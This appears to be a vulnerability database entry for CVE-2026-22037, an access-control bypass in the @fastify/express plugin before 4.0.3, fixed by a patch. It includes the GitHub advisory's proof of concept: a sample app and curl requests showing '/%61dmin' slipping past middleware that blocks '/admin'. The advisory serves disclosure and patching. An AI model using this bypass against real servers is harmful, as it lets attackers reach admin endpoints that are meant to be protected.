8.4high
@fastify/express vulnerable to Improper Handling of URL Encoding (Hex Encoding)
- Severity
- 8.4high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.35% (higher than 30% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-g6q3-96cp-5r5m
Description
The @fastify/express plugin adds full Express compatibility to Fastify. A security vulnerability exists in @fastify/express prior to version 4.0.3 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. The vulnerability is caused by how @fastify/express matches requests against registered middleware paths. This vulnerability is similar to, but differs from, CVE-2026-22031 because this is a different npm module with its own code. Version 4.0.3 of @fastify/express contains a patch fort the issue.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| fastify fastify-express | < 4.0.3 | CVE List |
| @fastify/express (npm) | before 4.0.3 | GitHub Advisory Database |
All scores
| GitHub_M | 8.4high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L |
| GitHub | 8.4high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L |
Classification
What each source says
CVE List
The @fastify/express plugin adds full Express compatibility to Fastify. A security vulnerability exists in @fastify/express prior to version 4.0.3 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. The vulnerability is caused by how @fastify/express matches requests against registered middleware paths. This vulnerability is similar to, but differs from, CVE-2026-22031 because this is a different npm module with its own code. Version 4.0.3 of @fastify/express contains a patch fort the issue.
GitHub Advisory Database
Summary
A security vulnerability exists in @fastify/express where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.
Details
The vulnerability is caused by how @fastify/express matches requests against registered middleware paths.
PoC
Step 1: Run the following Fastify application (save as app.js):
const fastify = require('fastify')({ logger: true });
async function start() {
// Register fastify-express for Express-style middleware support
await fastify.register(require('@fastify/express'));
// Middleware to block /admin route
fastify.use('/admin', (req, res, next) => {
res.statusCode = 403;
res.end('Forbidden: Access to /admin is blocked');
});
// Sample routes
fastify.get('/', async (request, reply) => {
return { message: 'Welcome to the homepage' };
});
fastify.get('/admin', async (request, reply) => {
return { message: 'Admin panel' };
});
fastify.get('/admin/dashboard', async (request, reply) => {
return { message: 'Admin dashboard' };
});
// Start server
try {
await fastify.listen({ port: 3000 });
} catch (err) {
fastify.log.error(err);
process.exit(1);
}
}
start();
Step 2: Execute the attack.
➜ ~ curl http://206.189.140.29:3000/%61dmin
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /%61dmin</pre>
</body>
</html>
(fastify express)
➜ ~ curl http://206.189.140.29:3000/%61dmin
{"message":"Admin panel"}
It differs from CVE-2026-22031 because this is a different npm module with its own code.
NVD (es)
El plugin @fastify/express añade compatibilidad completa con Express a Fastify. Existe una vulnerabilidad de seguridad en @fastify/express anterior a la versión 4.0.3 donde el middleware registrado con un prefijo de ruta específico puede ser eludido utilizando caracteres codificados en URL (p. ej., '/%61dmin' en lugar de '/admin'). Mientras que el motor de middleware no logra coincidir con la ruta codificada y omite la ejecución, el router subyacente de Fastify decodifica correctamente la ruta y coincide con el manejador de ruta, permitiendo a los atacantes acceder a puntos finales protegidos sin las restricciones del middleware. La vulnerabilidad es causada por cómo @fastify/express compara las solicitudes con las rutas de middleware registradas. Esta vulnerabilidad es similar a, pero difiere de, CVE-2026-22031 porque este es un módulo npm diferente con su propio código. La versión 4.0.3 de @fastify/express contiene un parche para el problema.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-22037 changed 2026-01-20 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-g6q3-96cp-5r5m changed 2026-02-03 | CC-BY-4.0 |
| NVD | CVE-2026-22037 changed 2026-06-17 | Public domain |